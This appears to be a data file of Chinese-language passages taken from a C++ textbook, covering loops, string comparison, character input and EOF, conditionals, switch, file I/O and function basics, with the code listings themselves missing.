    {"text": "发现这种错误的困难之处在于，代码在语法上是正确的，因此编译器不会将其视为错误（然而，由于C和C++程序员频繁地犯这种错误，因此很多编译器都会发出警告，询问这是否是设计者的真正意图）。"},
    {"text": "如果第一个字符串按字母顺序排在第二个字符串之前，则strcmp( )将返回一个负数值； 如果第一个字符串按字母顺序排在第二个字符串之后，则strcpm( )将返回一个正数值。"},
    {"text": "这意味着两个字符串即使被存储在长度不同的数组中，也可能是相同的： 顺便说一句，虽然不能用关系运算符来比较字符串，但却可以用它们来比较字符，因为字符实际上是整型。"},
    {"text": "因此下面的代码可以用来显示字母表中的字符，至少对于ASCII字符集和Unicode字符集来说是有效的： 程序清单5.11在for循环的测试条件中使用了strcmp( )。"},
    {"text": "如果str1和str2相等，则下面的表达式为true： 如果str1和str2不相等，则下面两个表达式都为true： 如果str1在str2的前面，则下面的表达式为true： 如果str1在str2的后面，则下面的表达式为true： 因此，根据要如何设置测试条件，strcmp( )可以扮演= =、!=、<和>运算符的角色。"},
    {"text": "接下来，compstr1.cpp使用递增运算符使变量ch遍历字母表： 可以对字符变量使用递增运算符和递减运算符，因为char类型实际上是整型，因此这种操作实际上将修改存储在变量中的整数编码。"},
    {"text": "另外，使用数组索引可使修改字符串中的字符更为简单： 5.1.15 比较string类字符串 如果使用string类字符串而不是C-风格字符串，比较起来将简单些，因为类设计让您能够使用关系运算符进行比较。"},
    {"text": "程序说明 在程序清单5.12中，下面的测试条件使用了一个关系运算符，该运算符的左边是一个string对象，右边是一个C-风格字符串： string类重载运算符!=的方式让您能够在下述条件下使用它：至少有一个操作数为string对象，另一个操作数可以是string对象，也可以是C-风格字符串。 string类的设计让您能够将string对象作为一个实体（在关系型测试表达式中），也可以将其作为一个聚合对象，从而使用数组表示法来提取其中的字符。 正如您看到的，使用C-风格字符串和string对象可获得相同的结果，但使用string对象更简单、更直观。"},
    {"text": "对于这种测试，C++程序通常使用while循环，下面来看看这种循环。 5.2 while循环 while循环是没有初始化和更新部分的for循环，它只有测试条件和循环体： 首先，程序计算圆括号内的测试条件（test-condition）表达式。"},
    {"text": "程序清单5.13 while.cpp 图5.3 while循环的结构 下面是该程序的运行情况： verticalized和ASCIIized并不是真正的单词，甚至将来也不会是单词。"},
    {"text": "不同于C-风格字符串，string对象不使用空字符来标记字符串末尾，因此要将程序清单5.13转换为使用string类的版本，只需用string对象替换char数组即可。"},
    {"text": "例如，下面的for循环： 可以改写成这样： 同样，下面的while循环： 可以改写成这样： for循环需要3个表达式（从技术的角度说，它需要1条后面跟两个表达式的语句），不过它们可以是空表达式（语句），只有两个分号是必需的。"},
    {"text": "另外，省略for循环中的测试表达式时，测试结果将为true，因此下面的循环将一直运行下去： 由于for循环和while循环几乎是等效的，因此究竟使用哪一个只是风格上的问题。"},
    {"text": "一种用于个人计算机的早期技术是，让计算机进行计数，以等待一段时间： 这种方法的问题是，当计算机处理器的速度发生变化时，必须修改计数限制。"},
    {"text": "其次，ctime将clock_t作为clock( )返回类型的别名（参见本章后面的注释“类型别名”），这意味着可以将变量声明为clock_t类型，编译器将把它转换为long、unsigned int或适合系统的其他类型。"},
    {"text": "例如，要将byte作为char的别名，可以这样做： 下面是通用格式： 换句话说，如果要将aliasName作为某种类型的别名，可以声明aliasName，如同将aliasName声明为这种类型的变量那样，然后在声明的前面加上关键字typedef。 例如，要让byte_pointer成为char指针的别名，可将byte_pointer声明为char指针，然后在前面加上typedef： 也可以使用#define，不过声明一系列变量时，这种方法不适用。"},
    {"text": "5.3 do while循环 前面已经学习了for循环和while循环。 第3种C++循环是do while，它不同于另外两种循环，因为它是出口条件（exit condition）循环。"},
    {"text": "图5.4总结了do while循环的程序流程。 图5.4 do while循环的结构 通常，入口条件循环比出口条件循环好，因为入口条件循环在循环开始之前对条件进行检查。"},
    {"text": "程序清单5.15 dowhile.cpp 下面是该程序的运行情况： 奇特的for循环 虽然不是很常见，但有时出现下面这样的代码，： 或另一种变体： 上述代码基于这样一个事实：for循环中的空测试条件被视为true。"},
    {"text": "第一个例子的功能在do while循环中将表达得更清晰： 同样，第二个例子使用while循环可以表达得更清晰： 通常，编写清晰、容易理解的代码比使用语言的晦涩特性来显示自己的能力更为有用。"},
    {"text": "这简化了一种常见的循环任务：对数组（或容器类，如vector和array）的每个元素执行相同的操作，如下例所示： 其中，x最初表示数组prices的第一个元素。 显示第一个元素后，不断执行循环，而x依次表示数组的其他元素。"},
    {"text": "5.5.3 使用哪一个cin.get( ) 在第4章的程序清单4.5中，使用了这样的代码： 最后一行相当于两个连续的函数调用： cin.get( )的一个版本接受两个参数：数组名（字符串（char*类型）的地址）和ArSize（int类型的整数）。"},
    {"text": "例如，如果在C++中使用cin.get（name，ArSize），则编译器将找到使用char*和int作为参数的cin.get( )版本； 如果使用cin.get（ch），则编译器将使用接受一个char参数的版本； 如果没有提供参数，则编译器将使用不接受任何参数的cin.get( )版本。"},
    {"text": "5.5.4 文件尾条件 程序清单5.17表明，使用诸如#等符号来表示输入结束很难令人满意，因为这样的符号可能就是合法输入的组成部分，其他符号（如@和%）也如此。"},
    {"text": "例如，假设在Windows中有一个名为gofish.exe的可执行程序和一个名为fishtale的文本文件，则可以在命令提示符模式下输入下面的命令： 这样，程序将从fishtale文件（而不是键盘）获取输入。"},
    {"text": "用于PC的Microsoft Visual C++、Borland C++ 5.5和GNU C++ 都能够识别行首的Ctrl + Z，但用户必须随后按下回车键。 总之，很多PC编程环境都将Ctrl+Z视为模拟的EOF，但具体细节（必须在行首还是可以在任何位置，是否必须按下回车键等）各不相同。"},
    {"text": "如果检测到EOF，则cin.eof( )将返回bool值true，否则返回false。 同样，如果eofbit或failbit被设置为1，则fail( )成员函数返回true，否则返回false。"},
    {"text": "下面，我们在Unix系统运行该程序，并对一个两行的文件进行读取、回显和计算字数（$是Unix提示符）： 1．EOF结束输入 前面指出过，cin方法检测到EOF时，将设置cin对象中一个指示EOF条件的标记。"},
    {"text": "然而，istream类提供了一个可以将istream对象（如cin）转换为bool值的函数； 当cin出现在需要bool值的地方（如在while循环的测试条件中）时，该转换函数将被调用。"},
    {"text": "这意味着可以将上述while测试改写为这样： 这比! cin.fail( )或!cin.eof( )更通用，因为它可以检测到其他失败原因，如磁盘故障。"},
    {"text": "最后，由于cin.get(char)的返回值为cin，因此可以将循环精简成这种格式： 这样，cin.get(char)只被调用一次，而不是两次：循环前一次、循环结束后一次。"},
    {"text": "5.5.5 另一个cin.get( )版本 “怀旧”的C语言用户可能喜欢C语言中的字符I/O函数—getchar( )和putchar( )，它们仍然适用，只要像在C语言中那样包含头文件stdio.h（或新的cstdio）即可。"},
    {"text": "同样，可以使用cout.put( )函数（参见第3章）来显示字符： 该函数的工作方式类似C语言中的putchar( )，只不过其参数类型为char，而不是int。"},
    {"text": "例如，程序清单5.18的核心是这样： 可以使用int ch，并用cin.get( )代替cin.get(char)，用cout.put( )代替cout，用EOF测试代替cin.fail( )测试： 如果ch是一个字符，则循环将显示它。"},
    {"text": "由于EOF表示的不是有效字符编码，因此可能不与char类型兼容。 例如，在有些系统中，char类型是没有符号的，因此char变量不可能为EOF值（−1）。"},
    {"text": "下面是该程序的运行情况： 下面分析一下循环条件： 子表达式ch=cin.get( )两端的括号导致程序首先计算该表达式。 为此，程序必须首先调用cin.get( )函数，然后将该函数的返回值赋给ch。"},
    {"text": "表5.3 cin.get(ch)与cin.get( ) 属 性 cin.get(ch) ch=cin.get( ) 传递输入字符的方式 赋给参数ch 将函数返回值赋给ch 用于字符输入时函数的返回值 istream对象（执行bool转换后为true） int类型的字符编码 到达EOF时函数的返回值 istream对象（执行bool转换后为false） EOF 那么应使用cin.get( )还是cin.get(char)呢？"},
    {"text": "例如，下面的代码将输入中的下一个字符读入到ch1中，并将接下来的一个字符读入到ch2中： 这是可行的，因为函数调用cin.get(ch1)返回一个cin对象，然后便可以通过该对象调用get(ch2)。"},
    {"text": "get( )的主要用途是能够将stdio.h的getchar( )和putchar( )函数转换为iostream的cin.get( )和cout.put( )方法。 只要用头文件iostream替换stdio.h，并用作用相似的方法替换所有的getchar( )和putchar( )即可。"},
    {"text": "在这种情况下，可以这样声明数组： 该声明意味着maxtemps是一个包含4个元素的数组，其中每个元素都是一个由5个整数组成的数组（参见图5.5）。 可以将maxtemps数组看作由4行组成，其中每一行有5个温度值。 图5.5 由数组组成的数组 表达式maxtemps[0]是maxtemps数组的第一个元素，因此maxtemps[0]本身就是一个由5个int组成的数组。 maxtemps[0] 数组的第一个元素是maxtemps [0] [0]，该元素是一个int。"},
    {"text": "图5.6 使用下标访问数组元素 假设要打印数组所有的内容，可以用一个for循环来改变行，用另一个被嵌套的for循环来改变列： 对于每个row值，内部的for循环将遍历所有的col值。"},
    {"text": "这项技术建立在一维数组初始化技术的基础之上：提供由逗号分隔的用花括号括起的值列表： 对于二维数组来说，由于每个元素本身就是一个数组，因此可以使用与上述代码类似的格式来初始化每一个元素。 因此，初始化由一系列逗号分隔的一维数组初始化（用花括号括起）组成： 可将数组maxtemps包含4行，每行包含5个数字。"},
    {"text": "也就是说，将cities声明为一个char指针数组。 这使得每个元素（如cities [0]）都是一个char指针，可被初始化为一个字符串的地址。 程序将cities [0]初始化为字符串“Gribble City”的地址，等等。"},
    {"text": "for循环和while循环都是入口条件循环，这意味着程序将在执行循环体中的语句之前检查测试条件。 do while循环是出口条件循环，这意味着其将在执行循环体中的语句之后检查条件。"},
    {"text": "下面的成员函数调用读取输入中的下一个字符（而不管该字符是什么）并将其存储到ch中： 成员函数调用cin.get( )返回下一个输入字符—包括空格、换行符和制表符，因此，可以这样使用它： cin.get（char）成员函数调用通过返回转换为false的bool值来指出已到达EOF，而cin.get( )成员函数调用则通过返回EOF值来指出已到达EOF，EOF是在文件iostream中定义的。"},
    {"text": "2．如果下面的代码片段是有效程序的组成部分，它将打印什么内容？ 3．如果下面的代码片段是有效程序的组成部分，它将打印什么内容？ 4．如果下面的代码片段是有效程序的组成部分，它将打印什么内容？ 5．如果下面的代码片段是有效程序的组成部分，它将打印什么内容？"},
    {"text": "也就是说，每一年的利润都是投资额的10%，即每年10美元： 利息 = 0.10×原始存款 而Cleo以5%的复利投资了100美元。 也就是说，利息是当前存款（包括获得的利息）的5%，： 利息 = 0.05×当前存款 Cleo在第一年投资100美元的盈利是5%—得到了105美元。"},
    {"text": "因此，if语句让程序能够决定是否应执行特定的语句。 if语句的语法与while相似： 如果test-condition（测试条件）为true，则程序将执行statement（语句），后者既可以是一条语句，也可以是语句块。"},
    {"text": "例如，假设读者希望程序计算输入中的空格数和字符总数，则可以在while循环中使用cin.get（char）来读取字符，然后使用if语句识别空格字符并计算其总数。"},
    {"text": "6.1.1 if else语句 if语句让程序决定是否执行特定的语句或语句块，而if else语句则让程序决定执行两条语句或语句块中的哪一条，这种语句对于选择其中一种操作很有用。 C++的if else语句模仿了简单的英语，如“If you have a Captain Cookie card, you get a Cookie Plus Plus, else you just get a Cookie d'Ordinaire（如果您拥有Captain Cookie卡，将可获得Cookie Plus Plus，否则只能获得Cookie d'Ordinaire）”。 if else语句的通用格式如下： 如果测试条件为true或非零，则程序将执行statement1，跳过statement2；"},
    {"text": "因此，如果answer是1492，则下面的代码片段将打印第一条信息，否则打印第二条信息： 每条语句都既可以是一条语句，也可以是用大括号括起的语句块（参见图6.2）。"},
    {"text": "程序清单6.2 ifelse.cpp 下面是该程序的运行情况： 注意，程序清单6.2中的注释之一指出，将++ch改为ch+1将产生一种有趣的效果。"},
    {"text": "和有些语言（如BASIC和FORTRAN）不同的是，由于C++不会自动将if和else之间的所有代码视为一个代码块，因此必须使用大括号将这些语句组合成一个语句块。"},
    {"text": "上述代码演示了一种流行的格式，下面是另一种流行的格式： 第一种格式强调的是语句的块结构，第二种格式则将语句块与关键字if和else更紧密地结合在一起。"},
    {"text": "可以将C++的if else语句进行扩展来满足这种需求。 正如读者知道的，else之后应是一条语句，也可以是语句块。 由于if else语句本身是一条语句，所以可以放在else的后面： 如果ch不是'A'，则程序将执行else。 执行到那里，另一个if else又提供了两种选择。"},
    {"text": "程序清单6.3 ifelseif.cpp 下面是该程序的输出： 条件运算符和错误防范 许多程序员将更直观的表达式variable = =value反转为value = =variable，以此来捕获将相等运算符误写为赋值运算符的错误。"},
    {"text": "例如，下述条件有效，可以正常工作： if (3 == myNumber) 但如果错误地使用下面的条件，编译器将生成错误消息，因为它以为程序员试图将一个值赋给一个字面值（3总是等于3，而不能将另一个值赋给它）： if (3 = myNumber) 假设犯了类似的错误，但使用的是前一种表示方法： if (myNumber = 3) 编译器将只是把3赋给myNumber，而if中的语句块将包含非常常见的、而又非常难以发现的错误（然而，很多编译器会发出警告，因此注意警告是明智的）。"},
    {"text": "另外，如果左侧的表达式为true，则C++将不会去判定右侧的表达式，因为只要一个表达式为true，则整个逻辑表达式为true（读者可能还记得，冒号和逗号运算符也是顺序点）。"},
    {"text": "表6.1 ||运算符 expr1 ‖ expr2的值 expr1 = = true expr1 = = false expr2 = = true true true expr2 = = false true false 程序清单6.4 or.cpp 该程序不会带来任何威胁，下面是其运行情况： 由于程序只读取一个字符，因此只读取响应的第一个字符。"},
    {"text": "表6.2 &&运算符 expr1 && expr2的值 expr1 = = true expr1 = = false expr2 = = true true false expr2 = = false false false 程序清单6.5演示了如何用&&来处理一种常见的情况——由于两种不同的原因而结束while循环。"},
    {"text": "一次在输入6个值后结束： 另一次在输入负值后结束： 程序说明 来看看该程序的输入部分： 该程序首先将第一个输入值读入到临时变量（temp）中。"},
    {"text": "与char指针变量可以通过指向一个字符串的开始位置来标识该字符串一样，char指针数组也可以标识一系列字符串，只要将每一个字符串的地址赋给各个数组元素即可。"},
    {"text": "程序清单6.6 more_and.cpp 下面是该程序的运行情况： 由于输入的年龄不与任何测试取值范围匹配，因此程序将索引设置为3，然后打印相应的字符串。"},
    {"text": "程序说明 在程序清单6.6中，表达式age > 17 && age < 35测试年龄是否位于两个值之间，即年龄是否在18岁到34岁之间。 表达式age >= 35 && age < 50使用<=运算符将35包括在取值范围内。"},
    {"text": "取值范围测试 取值范围测试的每一部分都使用AND运算符将两个完整的关系表达式组合起来： 不要使用数学符号将其表示为： 编译器不会捕获这种错误，因为它仍然是有效的C++语法。"},
    {"text": "<运算符从左向右结合，因此上述表达式的含义如下： 但17 < age的值要么为true（1），要么为false（0）。 不管是哪种情况，表达式17 < age的值都小于35，因此整个测试的结果总是true！"},
    {"text": "例如，如果C-风格字符串s1和s2不同，则strcmp(s1, s2)将返回非零（true）值，否则返回0。 这意味着如果这两个字符串相同，则!strcmp(s1, s2)为true。"},
    {"text": "程序清单6.7 not.cpp 下面是该程序在int占32位的系统上的运行情况： 程序说明 如果给读取int值的程序输入一个过大的值，很多C++实现只是将这个值截短为合适的大小，并不会通知丢失了数据。"},
    {"text": "例如，假设要用&&将age大于50或weight大于300的条件与donation大于1000的条件组合在一起，则必须使用括号将OR部分括起： 否则，编译器将把weight条件与donation条件（而不是age条件）组合在一起。"},
    {"text": "虽然C++运算符的优先级规则常可能不使用括号便可以编写复合比较的语句，但最简单的方法还是用括号将测试进行分组，而不管是否需要括号。"},
    {"text": "表6.3 逻辑运算符：另一种表示方式 运算符 另一种表示方式 && and ‖ or ! not 6.3 字符函数库cctype C++从C语言继承了一个与字符相关的、非常方便的函数软件包，它可以简化诸如确定字符是否为大写字母、数字、标点符号等工作，这些函数的原型是在头文件cctype（老式的风格中为ctype.h）中定义的。"},
    {"text": "具体地说，它使用isalpha( )来检查字符是否为字母字符，使用isdigits( )来测试字符是否为数字字符，如3，使用isspace( )来测试字符是否为空白，如换行符、空格和制表符，使用ispunct( )来测试字符是否为标点符号。"},
    {"text": "表6.4 cctype中的字符函数 函 数 名 称 返 回 值 isalnum( ) 如果参数是字母数字，即字母或数字，该函数返回true isalpha( ) 如果参数是字母，该函数返回true iscntrl( ) 如果参数是控制字符，该函数返回true isdigit( ) 如果参数是数字（0～9），该函数返回true isgraph( ) 如果参数是除空格之外的打印字符，该函数返回true islower( ) 如果参数是小写字母，该函数返回true isprint( ) 如果参数是打印字符（包括空格），该函数返回true ispunct( ) 如果参数是标点符号，该函数返回true isspace( ) 如果参数是标准空白字符，如空格、进纸、换行符、回车、水平制表符或者垂直制表符，该函数返回true isupper( ) 如果参数是大写字母，该函数返回true isxdigit( ) 如果参数是十六进制数字，即0～9、a～f或A～F，该函数返回true tolower( ) 如果参数是大写字符，则返回其小写，否则返回该参数 toupper( ) 如果参数是小写字符，则返回其大写，否则返回该参数 6.4 ?:运算符 C++有一个常被用来代替if else语句的运算符，这个运算符被称为条件运算符（?:），它是C++中唯一一个需要3个操作数的运算符。"},
    {"text": "程序清单6.9 condit.cpp 下面是该程序的运行情况： 该程序的关键部分是下面的语句： 它与下面的语句等效： 与if else序列相比，条件运算符更简洁，但第一次遇到时不那么容易理解。"},
    {"text": "这两种方法之间的区别是，条件运算符生成一个表达式，因此是一个值，可以将其赋给变量或将其放到一个更大的表达式中，程序清单6.9中的程序正是这样做的，它将条件表达式的值赋给变量c。"},
    {"text": "其中一个技巧（它完成一个应被谴责的任务——隐藏代码）是将条件表达式嵌套在另一个条件表达式中，如下所示： 这是一种费解的方式（但绝不是最难理解的），它按下面的顺序打印3个字符串： 从可读性来说，条件运算符最适合于简单关系和简单表达式的值： 当代码变得更复杂时，使用if else语句来表达可能更为清晰。"},
    {"text": "下面是switch语句的通用格式： C++的switch语句就像指路牌，告诉计算机接下来应执行哪行代码。 执行到switch语句时，程序将跳到使用integer-expression的值标记的那一行。"},
    {"text": "如果integer-expression不与任何标签匹配，则程序将跳到标签为default的那一行。 Default标签是可选的，如果被省略，而又没有匹配的标签，则程序将跳到switch后面的语句处执行（参见图6.3）。"},
    {"text": "程序清单6.10 switch.cpp 下面是该程序的运行情况： 当用户输入了5时，while循环结束。 输入1到4将执行switch列表中相应的操作，输入6将执行默认语句。"},
    {"text": "例如，假设重新编写程序清单6.10，使用字符（而不是整数）作为菜单选项和switch标签，则可以为大写标签和小写标签提供相同的语句： 由于case 'a'后面没有break语句，因此程序将接着执行下一行——case 'A'后面的语句。"},
    {"text": "由于switch语句是专门为这种情况设计的，因此，如果选项超过两个，则就代码长度和执行速度而言，switch语句的效率更高。 提示： 如果既可以使用if else if语句，也可以使用switch语句，则当选项不少于3个时，应使用switch语句。"},
    {"text": "6.6 break和continue语句 break和continue语句都使程序能够跳过部分代码。 可以在switch语句或任何循环中使用break语句，使程序跳到switch或循环后面的语句处执行。 continue语句用于循环中，让程序跳过循环体中余下的代码，并开始新一轮循环（参见图6.4）。 图6.4 break和continue语句的结构 程序清单6.12演示了这两条语句是如何工作的。"},
    {"text": "程序清单6.12 jump.cpp 下面是该程序的运行情况： 程序说明 虽然continue语句导致该程序跳过循环体的剩余部分，但不会跳过循环的更新表达式。 在for循环中，continue语句使程序直接跳到更新表达式处，然后跳到测试表达式处。 然而，对于while循环来说，continue将使程序直接跳到测试表达式处，因此while循环体中位于continue之后的更新表达式都将被跳过。"},
    {"text": "下面的语句将跳到使用paris:作为标签的位置： 也就是说，可以有下面这样的代码： 在大多数情况下（有些人认为，在任何情况下），使用goto语句不好，而应使用结构化控制语句（如if else、switch、continue等）来控制程序的流程。"},
    {"text": "在这个示例中，由于输入‘q’结束输入，处理起来更复杂些： 在程序清单6.13中，如果要让程序在结束循环后接收输入，也可使用类似的代码。"},
    {"text": "程序清单6.14 cingolf.cpp 下面是该程序的运行情况： 程序说明 在程序清单6.14中，错误处理代码的关键部分如下： 如果用户输入88，则cin表达式将为true，因此将一个值放到数组中；"},
    {"text": "首先，来看使用char数据类型的情况： 输入行中的第一个字符被赋给ch。 在这里，第一个字符是数字3，其字符编码（二进制）被存储在变量ch中。"},
    {"text": "注意，虽然头文件iostream提供了一个预先定义好的名为cout的ostream对象，但您必须声明自己的ofstream对象，为其命名，并将其同文件关联起来。"},
    {"text": "下面演示了如何声明这种对象： 下面演示了如何将这种对象与特定的文件关联起来： 注意，方法open( )接受一个C-风格字符串作为参数，这可以是一个字面字符串，也可以是存储在数组中的字符串。"},
    {"text": "下面演示了如何使用这种对象： 重要的是，声明一个ofstream对象并将其同文件关联起来后，便可以像使用cout那样使用它。 所有可用于cout的操作和方法（如<<、endl和setf( )）都可用于ofstream对象（如前述示例中的outFile和fout）。"},
    {"text": "如果您查看该程序的可执行文件所在的目录，将看到一个名为carinfo.txt的新文件（根据编译器的配置，该文件也可能位于其他文件夹），其中包含使用outFile生成的输出。 如果使用文本编辑器打开该文件，将发现其内容如下： 正如读者看到的，outFile将cout显示到屏幕上的内容写入到了文件carinfo.txt中。"},
    {"text": "程序说明 在程序清单6.15的程序中，声明一个ofstream对象后，便可以使用方法open( )将该对象特定文件关联起来： 程序使用完该文件后，应该将其关闭： 注意，方法close( )不需要使用文件名作为参数，这是因为outFile已经同特定的文件关联起来。"},
    {"text": "回到open( )方法： 在这里，该程序运行之前，文件carinfo.txt并不存在。 在这种情况下，方法open( )将新建一个名为carinfo.txt的文件。 如果在此运行该程序，文件carinfo.txt将存在，此时情况将如何呢？"},
    {"text": "可结合使用ifstream对象和运算符>>来读取各种类型的数据。 可以使用ifstream对象和get( )方法来读取一个字符，使用ifstream对象和getline( )来读取一行字符。 可以结合使用ifstream和eof( )、fail( )等方法来判断输入是否成功。 ifstream对象本身被用作测试条件时，如果最后一个读取操作成功，它将被转换为布尔值true，否则被转换为false。"},
    {"text": "注意，虽然头文件iostream提供了一个预先定义好的名为cin的istream对象，但您必须声明自己的ifstream对象，为其命名，并将其同文件关联起来。"},
    {"text": "下面演示了如何声明这种对象： 下面演示了如何将这种对象与特定的文件关联起来： 注意，方法open( )接受一个C-风格字符串作为参数，这可以是一个字面字符串，也可以是存储在数组中的字符串。"},
    {"text": "下面演示了如何使用这种对象： 重要的是，声明一个ifstream对象并将其同文件关联起来后，便可以像使用cin那样使用它。 所有可用于cin的操作和方法都可用于ifstream对象（如前述示例中的inFile和fin）。"},
    {"text": "检查文件是否被成功打开的首先方法是使用方法is_open( )，为此，可以使用类似于下面的代码： 如果文件被成功地打开，方法is_open( )将返回true；"},
    {"text": "下面是该程序的运行情况： 程序说明 该程序没有使用硬编码文件名，而是将用户提供的文件名存储到字符数组filename中，然后将该数组用作open( )的参数： 正如本章前面讨论的，检查文件是否被成功打开至关重要。"},
    {"text": "不要分别检查这些情况，一种更简单的方法是使用good( )方法，该方法在没有发生任何错误时返回true： 然后，如果愿意，可以使用其他方法来确定循环终止的真正原因： 这些代码紧跟在循环的后面，用于判断循环为何终止。"},
    {"text": "由于eof( )只能判断是否到达EOF，而fail( )可用于检查EOF和类型不匹配，因此上述代码首先判断是否到达EOF。 这样，如果执行到了else if测试，便可排除EOF，因此，如果fail( )返回true，便可断定导致循环终止的原因是类型不匹配。"},
    {"text": "为此，一种标准方法是，在循环之前（首次执行循环测试前）放置一条输入语句，并在循环的末尾（下次执行循环测试之前）放置另一条输入语句： 鉴于以下事实，可以对上述代码进行精简：表达式inFile >> value的结果为inFile，而在需要一个bool值的情况下，inFile的结果为inFile.good( )，即true或false。"},
    {"text": "也就是说，可以将上述循环结构替换为如下循环结构： 这种设计仍然遵循了在测试之前进行读取的规则，因为要计算表达式inFile >> value的值，程序必须首先试图将一个数字读取到value中。"},
    {"text": "if语句使程序有条件地执行语句或语句块，也就是说，如果满足特定的条件，程序将执行特定的语句或语句块。 if else语句程序选择执行两个语句或语句块之一。 可以在这条语句后再加上if else，以提供一系列的选项。"},
    {"text": "6.11 编程练习 1．编写一个程序，读取键盘输入，直到遇到@符号为止，并回显输入（数字除外），同时将大写字符转换为小写，将小写字符转换为大写（别忘了cctype函数系列）。"},
    {"text": "该程序的运行情况如下： 4．加入Benevolent Order of Programmer后，在BOP大会上，人们便可以通过加入者的真实姓名、头衔或秘密BOP姓名来了解他（她）。"},
    {"text": "另外，该程序使用一个循环，让用户在下面的选项中进行选择： 注意，“display by preference”并不意味着显示成员的偏好，而是意味着根据成员的偏好来列出成员。"},
    {"text": "该程序的运行情况如下： 5．在Neutronia王国，货币单位是tvarp，收入所得税的计算方式如下： 5000 tvarps：不收税 5001～15000 tvarps：10% 15001～35000 tvarps：15% 35000 tvarps以上：20% 例如，收入为38000 tvarps时，所得税为5000 0.00 + 10000 0.10 + 20000 0.15 + 3000 0.20，即4600 tvarps。"},
    {"text": "为此，方法之一是，使用isalpha( )来区分以字母和其他字符打头的单词，然后对于通过了isalpha( )测试的单词，使用if或switch语句来确定哪些以元音打头。"},
    {"text": "该程序的运行情况如下： 8．编写一个程序，它打开一个文件文件，逐个字符地读取该文件，直到到达文件末尾，然后指出该文件中包含多少个字符。"},
    {"text": "例如，标准C库中有一个strlen( )函数，可用来确定字符串的长度。 相关的标准头文件cstring包含了strlen( )和其他一些与字符串相关的函数的原型。"},
    {"text": "在每个函数定义中，都使用了一条using编译指令，因为每个函数都使用了cout。 另一种方法是，在函数定义之前放置一条using编译指令或在函数中使用std::cout。"},
    {"text": "这种函数的类型被声明为返回值的类型，其通用格式如下： 对于有返回值的函数，必须使用返回语句，以便将值返回给调用函数。 值本身可以是常量、变量，也可以是表达式，只是其结果的类型必须为typeName类型或可以被转换为typeName（例如，如果声明的返回类型为double，而函数返回一个int表达式，则该int值将被强制转换为double类型）。"},
    {"text": "C++对于返回值的类型有一定的限制：不能是数组，但可以是其他任何类型——整数、浮点数、指针，甚至可以是结构和对象！ （有趣的是，虽然C++函数不能直接返回数组，但可以将数组作为结构或对象组成部分来返回。"},
    {"text": "如果函数包含多条返回语句（例如，它们位于不同的if else选项中），则函数在执行遇到的第一条返回语句后结束。 例如，在下面的例子中，else并不是必需的，但可帮助马虎的读者理解程序员的意图： 如果函数包含多条返回语句，通常认为它会令人迷惑，有些编译器将针对这一点发出警告。"},
    {"text": "有返回值的函数与Pascal、FORTRAN和BASIC中的函数相似，它们向调用程序返回一个值，然后调用程序可以将其赋给变量、显示或将其用于别的用途。"},
    {"text": "C++原型与ANSI原型 ANSI C借鉴了C++中的原型，但这两种语言还是有区别的。 其中最重要的区别是，为与基本C兼容，ANSI C中的原型是可选的，但在C++中，原型是必不可少的。"},
    {"text": "例如，请看下面的函数声明： 在C++中，括号为空与在括号中使用关键字void是等效的——意味着函数没有参数。 在ANSI C中，括号为空意味着不指出参数——这意味着将在后面定义参数列表。 在C++中，不指定参数列表时应使用省略号： 通常，仅当与接受可变参数的C函数（如printf( )）交互时才需要这样做。"},
    {"text": "例如，如果函数需要一个int值（假设占16位），而程序员传递了一个double值（假设占64位），则函数将只检查64位中的前16位，并试图将它们解释为一个int值。"},
    {"text": "例如，程序清单7.2将能够应付下述语句中两次出现的类型不匹配的情况： 首先，程序将int的值2传递给cube( )，而后者期望的是double类型。 编译器注意到，cube( )原型指定了一个double类型参数，因此将2转换为2.0——一个double值。 接下来，cube( )返回一个double值（8.0），这个值被用作cheer( )的参数。 编译器将再一次检查原型，并发现cheer( )要求一个int参数，因此它将返回值转换为整数8。"},
    {"text": "出于简化的目的，C++标准使用参数（argument）来表示实参，使用参量（parameter）来表示形参，因此参数传递将参量赋给参数（参见图7.2）。"},
    {"text": "在函数被调用时，计算机将为这些变量分配内存； 在函数结束时，计算机将释放这些变量使用的内存（有些C++文献将分配和释放内存称为创建和毁坏变量，这样似乎更激动人心）。"},
    {"text": "这还意味着，如果在main( )中声明了一个名为x的变量，同时在另一个函数中也声明了一个名为x的变量，则它们将是两个完全不同的、毫无关系的变量，这与加利福尼亚州的Albany与纽约的Albany是两个完全不同的地方是一样的道理（参见图7.3）。"},
    {"text": "在调用函数时，只需使用逗号将这些参数分开即可： 上述函数调用将两个参数传递给函数n_chars( )，我们将稍后定义该函数。 同样，在定义函数时，也在函数头中使用由逗号分隔的参数声明列表： 该函数头指出，函数n_char( )接受一个char参数和一个int参数。"},
    {"text": "如果函数的两个参数的类型相同，则必须分别指定每个参数的类型，而不能像声明常规变量那样，将声明组合在一起： 和其他函数一样，只需添加分号就可以得到该函数的原型： 和一个参数的情况一样，原型中的变量名不必与定义中的变量名相同，而且可以省略： 然而，提供变量名将使原型更容易理解，尤其是两个参数的类型相同时。"},
    {"text": "这样，变量名可以提醒参量和参数间的对应关系： 程序清单7.3演示了一个接受两个参数的函数，它还表明，在函数中修改形参的值不会影响调用程序中的数据。"},
    {"text": "下面是该程序的运行情况： 程序说明 程序清单7.3中的main( )函数使用一个while循环提供重复输入（并让读者温习使用循环的技巧），它使用cin>>ch，而不是cin.get（ch）或ch = cin.get( )来读取一个字符。"},
    {"text": "然后，它使用循环来显示该字符，显示次数为n： 程序通过将n变量递减来计数，其中n是参数列表的形参，main( )中times变量的值被赋给该变量。"},
    {"text": "另外，函数需要知道要对哪个数组进行累计，因此需要将数组名作为参数传递给它。 为使函数通用，而不限于特定长度的数组，还需要传递数组长度。"},
    {"text": "第三，正如第4章指出的，将地址运算符&用于数组名时，将返回整个数组的地址，例如&cookies将返回一个32字节内存块的地址（如果int长4字节）。 程序清单7.5执行下面的函数调用： 其中，cookies是数组名，而根据C++规则，cookies是其第一个元素的地址，因此函数传递的是地址。 由于数组的元素的类型为int，因此cookies的类型必须是int指针，即int *。"},
    {"text": "这表明，正确的函数头应该是这样的： 其中用int * arr替换了int arr [ ]。 这证明这两个函数头都是正确的，因为在C++中，当（且仅当）用于函数头或函数原型中，int *arr和int arr [ ]的含义才是相同的。 它们都意味着arr是一个int指针。 然而，数组表示法（int arr[ ]）提醒用户，arr不仅指向int，还指向int数组的第一个int。"},
    {"text": "就目前而言，提请读者记住下面两个恒等式，将不会有任何坏处： 记住，将指针（包括数组名）加1，实际上是加上了一个与指针指向的类型的长度（以字节为单位）相等的值。"},
